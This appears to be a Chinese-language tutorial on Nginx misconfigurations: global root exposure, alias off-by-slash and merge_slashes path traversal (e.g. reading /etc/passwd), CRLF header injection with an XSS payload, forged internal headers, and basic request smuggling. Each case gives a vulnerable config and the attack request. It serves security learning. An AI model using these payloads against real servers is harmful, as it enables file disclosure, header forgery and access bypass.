Nginx安全——错误配置&常见漏洞
全局root指令且缺失 / 路径
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}
server块中的 root定义了 /etc/nginx为nginx根目录,但是没有定义一个 /路径(location / {...})。这就意味着这个 root指令是全局生效的。例如请求 GET /nginx.conf就可以访问 /etc/nginx/nginx.conf文件,即这样的配置可以导致敏感文件读取。
alias/proxy_pass Off‑by‑slash
server {
...
location /static {
alias /app/static/;
}
location /api {
proxy_pass http://backend/v1/;
}
}
Nginx对于 ..的处理方式比较特殊,..在 URI 中不是字母或数字,不会被视为有效路径段的一部分,也即 /static..会被 location /static匹配到。接下来Nginx会直接把 /static替换为 /app/static/,这里就会产生一个LFI,因为访问 /static../flag.txt会被解析到 /app/static/../flag.txt。
merge_slashes关闭
server {
...
merge_slashes off;
location / {
proxy_pass http://app;
}
}
Nginx不会允许超出根路径的路径穿越,也就是说 /deep/path/../../anything是OK的,而 /deep/path/../../../anything就会报400 Bad Request,其中判断层数的逻辑是 /数量。而 merge_slashes的功能是把多个连续的 /合并,它被关闭也就导致 GET ///////../../../etc/passwd不会被合并,并且让Nginx以为你在一个很深的目录下。
CRLF注入
在Nginx中,很多接收变量的地方会接受未经转移的回车换行符 /r/n。如果某个变量包含了这些原始字符,并被传递到一个存在漏洞的接收点,我们就可以在请求或响应中注入额外的HTTP头。
一个非常常见的包含 /r/n的变量为 $uri,其包含的是URL解码后的路径。即如果路径中有 %0d%0a,该变量就会包含一个 /r/n。
location /backend {
proxy_pass http://backend$uri;
}
访问
/backend%0d%0aHeader:%20Injected
则传递给后端的解码内容可能导致请求头注入
还有一种方式是通过正则表达式注入,例如这里的配置
location ~ /some/([^/]+)/path {
add_header X-Response-Header $1;
return 200 "OK";
}
访问:
GET /some/x%0d%0aHeader:%20Injected/path HTTP/1.1
则会响应:
HTTP/1.1 200 OK
Server: nginx/1.27.4
...
X-Response-Header: x
Header: Injected
OK
响应头注入
如果 add_header或 return的 Location头包含未过滤的 \r\n,攻击者可以注入任意响应头,甚至正文。
location / {
return 301 https://$host$uri;
}
访问:
GET /redirect/%0a%0dSet-Cookie:%20a=1%0a%0dX-XSS-Protection:%200%0a%0d%0a%0d%0a<script>alert('xss')</script> HTTP/1.1
响应:
HTTP/1.1 301 Moved Permanently
...
Location: ...
Set-Cookie: a=1
X-XSS-Protection: 0
<script>alert('xss')</script>
请求头注入
如果 proxy_set_header或 proxy_pass的路径包含未过滤的 \r\n,攻击者可以注入任意请求头。
location / {
proxy_set_header X-Original-URI $uri;
proxy_set_header X-Internal-Header "";
proxy_pass http://backend;
}
访问:
GET /%0d%0aX-Internal-Header:%20INJECTED HTTP/1.1
请求:
GET / HTTP/1.0
X-Original-URI: /
X-Internal-Header: INJECTED
Host: 127.0.0.1:1337
这就绕过了 X-Internal-Header的限制,伪造了内部头。
请求走私
前后端通讯时,由于不同的服务器对RFC标准实现的方式不同,就会导致请求走私
这里的内容有点多,先写点最简单的
例如我们发送:
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 43\r\n
GET / admin HTTP/1.1\r\n
Host: example.com\r\n
\r\n
而前端代理服务器允许GET携带请求体,后端服务器不允许GET携带请求体,后端服务器就会直接忽略掉GET请求中的 Content-Length头,也就是说后端看来:
//第一个请求
GET / HTTP/1.1\r\n
Host: example.com\r\n
//第二个请求
GET / admin HTTP/1.1\r\n
Host: example.com\r\n